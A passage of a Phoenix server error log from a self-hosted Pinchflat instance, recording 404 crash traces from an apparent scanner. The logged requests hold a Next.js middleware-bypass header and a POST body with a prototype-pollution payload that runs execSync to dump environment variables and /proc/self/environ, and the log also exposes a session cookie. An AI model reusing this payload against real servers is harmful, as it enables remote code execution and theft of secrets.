:"HTTP/1.1", path: "/dist/manifest.json", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33064}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br, zstd", "accept-language" => "en-US,en;q=0.9", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "sec-ch-ua" => "\"Chromium\";v=\"153\", \"Google Chrome\";v=\"153\", \"Not_A Brand\";v=\"8\"", "sec-ch-ua-mobile" => "?1", "sec-ch-ua-platform" => "\"Android\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "none", "sec-fetch-user" => "?1", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/153.0.0.0 Mobile Safari/537.36", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.29443.0>, params: %{}, path_info: ["dist", "manifest"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8"}, {"accept-encoding", "gzip, deflate, br, zstd"}, {"accept-language", "en-US,en;q=0.9"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ"}, {"host", "pinchflat.burns-family.net"}, {"sec-ch-ua", "\"Chromium\";v=\"153\", \"Google Chrome\";v=\"153\", \"Not_A Brand\";v=\"8\""}, {"sec-ch-ua-mobile", "?1"}, {"sec-ch-ua-platform", "\"Android\""}, {"sec-fetch-dest", "document"}, {"sec-fetch-mode", "navigate"}, {"sec-fetch-site", "none"}, {"sec-fetch-user", "?1"}, {"upgrade-insecure-requests", "1"}, {"user-agent", "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/153.0.0.0 Mobile Safari/537.36"}, {"x-forwarded-for", "34.7.214.207"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-middleware-subrequest", "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware"}, {"x-nextjs-data", "1"}, {"x-real-ip", "34.7.214.207"} ], request_path: "/dist/manifest.json", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNz61IIgjV0N2VkABvPB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29442.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/dist/manifest.json", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33064}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br, zstd", "accept-language" => "en-US,en;q=0.9", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "sec-ch-ua" => "\"Chromium\";v=\"153\", \"Google Chrome\";v=\"153\", \"Not_A Brand\";v=\"8\"", "sec-ch-ua-mobile" => "?1", "sec-ch-ua-platform" => "\"Android\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "none", "sec-fetch-user" => "?1", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/153.0.0.0 Mobile Safari/537.36", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, pa (truncated) 16:49:02.410 [error] #PID<0.29445.0> running PinchflatWeb.Endpoint (connection #PID<0.29444.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: POST / ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for POST / (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29444.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33068}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/x-component", "accept-encoding" => "gzip", "content-length" => "455", "content-type" => "multipart/form-data; boundary=----r2s1f7691ajoq2mg", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "next-action" => "r2s", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Safari/605.1.15 (Applebot/0.1)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-real-ip" => "34.7.214.207" }, method: "POST", body_length: 455, path_info: :undefined, qs: "", streamid: 1, has_body: true, host_info: :undefined, has_read_body: true }}, assigns: %{}, body_params: %{ "0" => "{\"then\":\"$1:__proto__:then\",\"status\":\"resolved_model\",\"reason\":-1,\"value\":\"{\\\"then\\\":\\\"$B1337\\\"}\",\"_response\":{\"_prefix\":\"process.mainModule.require('child_process').execSync('env 2>/dev/null || cat /proc/self/environ 2>/dev/null');\",\"_formData\":{\"get\":\"$1:constructor:constructor\"}}}", "1" => "\"$@0\"" }, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, halted: false, host: "pinchflat.burns-family.net", method: "POST", owner: #PID<0.29445.0>, params: %{ "0" => "{\"then\":\"$1:__proto__:then\",\"status\":\"resolved_model\",\"reason\":-1,\"value\":\"{\\\"then\\\":\\\"$B1337\\\"}\",\"_response\":{\"_prefix\":\"process.mainModule.require('child_process').execSync('env 2>/dev/null || cat /proc/self/environ 2>/dev/null');\",\"_formData\":{\"get\":\"$1:constructor:constructor\"}}}", "1" => "\"$@0\"" }, path_info: [], path_params: %{}, port: 80, private: %{ :plug_multipart => :done, PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, req_headers: [ {"accept", "text/x-component"}, {"accept-encoding", "gzip"}, {"content-length", "455"}, {"content-type", "multipart/form-data; boundary=----r2s1f7691ajoq2mg"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ"}, {"host", "pinchflat.burns-family.net"}, {"next-action", "r2s"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Safari/605.1.15 (Applebot/0.1)"}, {"x-forwarded-for", "34.7.214.207"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-middleware-subrequest", "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware"}, {"x-real-ip", "34.7.214.207"} ], request_path: "/", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNz61IIofJ7Y07UAAH4j"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29444.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33068}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/x-component", "accept-encoding" => "gzip", "content-length" => "455", "content-type" => "multipart/form-data; boundary=----r2s1f7691ajoq2mg", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "next-action" => "r2s", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Safari/605.1.15 (Applebot/0.1)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-real-ip" => "34.7.214.207" }, method: "POST", body_length: 455, path_info: :undefined, qs: "", streamid: 1, has_body: true, host_info: :undefined, has_read_body: true }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for POST / (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29444.0>, port: 80, scheme: "http", (truncated) 16:49:02.415 [info] GET /z9x8c7v6b5-debug-trigger-pinchflat.burns-family.net 16:49:02.415 [info] GET /webpack-stats.json 16:49:02.415 [debug] QUERY OK source="settings" db=0.1ms idle=5.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:02.415 [debug] QUERY OK source="settings" db=0.1ms idle=119.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:02.415 [debug] QUERY OK source="settings" db=0.0ms idle=5.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:02.415 [debug] QUERY OK source="settings" db=0.1ms idle=5.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:02.415 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 16:49:02.415 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 16:49:02.416 [info] GET /assets/manifest.json 16:49:02.416 [debug] QUERY OK source="settings" db=0.0ms idle=5.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:02.416 [debug] QUERY OK source="settings" db=0.0ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:02.416 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 16:49:02.416 [error] #PID<0.29448.0> running PinchflatWeb.Endpoint (connection #PID<0.29446.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /z9x8c7v6b5-debug-trigger-pinchflat.burns-family.net ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /z9x8c7v6b5-debug-trigger-pinchflat.burns-family (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29446.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/z9x8c7v6b5-debug-trigger-pinchflat.burns-family.net", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33078}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "DuckAssistBot/1.1 (https://duckduckgo.com/duckassistbot)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.29448.0>, params: %{}, path_info: ["z9x8c7v6b5-debug-trigger-pinchflat.burns-family"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "DuckAssistBot/1.1 (https://duckduckgo.com/duckassistbot)"}, {"x-forwarded-for", "34.7.214.207"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-middleware-subrequest", "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware"}, {"x-nextjs-data", "1"}, {"x-real-ip", "34.7.214.207"} ], request_path: "/z9x8c7v6b5-debug-trigger-pinchflat.burns-family.net", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNz61IJ3YZBDSCEABvPh"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29446.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/z9x8c7v6b5-debug-trigger-pinchflat.burns-family.net", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33078}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "DuckAssistBot/1.1 (https://duckduckgo.com/duckassistbot)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /z9x8c7v6b5-debug-trigger-pinchflat.burns-family (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29446.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/z9x8c7v6b5-debug-trigger-pinchflat.burns-family.net", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33078}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "DuckAssistBot/1.1 (https://duckduckgo.com/duckassistbot)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", (truncated) 16:49:02.416 [error] #PID<0.29449.0> running PinchflatWeb.Endpoint (connection #PID<0.29447.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /webpack-stats.json ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /webpack-stats (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29447.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/webpack-stats.json", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33086}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br, zstd", "accept-language" => "en-US,en;q=0.9", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "sec-ch-ua" => "\"Chromium\";v=\"153\", \"Google Chrome\";v=\"153\", \"Not_A Brand\";v=\"8\"", "sec-ch-ua-mobile" => "?1", "sec-ch-ua-platform" => "\"Android\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "none", "sec-fetch-user" => "?1", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/153.0.0.0 Mobile Safari/537.36", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.29449.0>, params: %{}, path_info: ["webpack-stats"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8"}, {"accept-encoding", "gzip, deflate, br, zstd"}, {"accept-language", "en-US,en;q=0.9"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ"}, {"host", "pinchflat.burns-family.net"}, {"sec-ch-ua", "\"Chromium\";v=\"153\", \"Google Chrome\";v=\"153\", \"Not_A Brand\";v=\"8\""}, {"sec-ch-ua-mobile", "?1"}, {"sec-ch-ua-platform", "\"Android\""}, {"sec-fetch-dest", "document"}, {"sec-fetch-mode", "navigate"}, {"sec-fetch-site", "none"}, {"sec-fetch-user", "?1"}, {"upgrade-insecure-requests", "1"}, {"user-agent", "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/153.0.0.0 Mobile Safari/537.36"}, 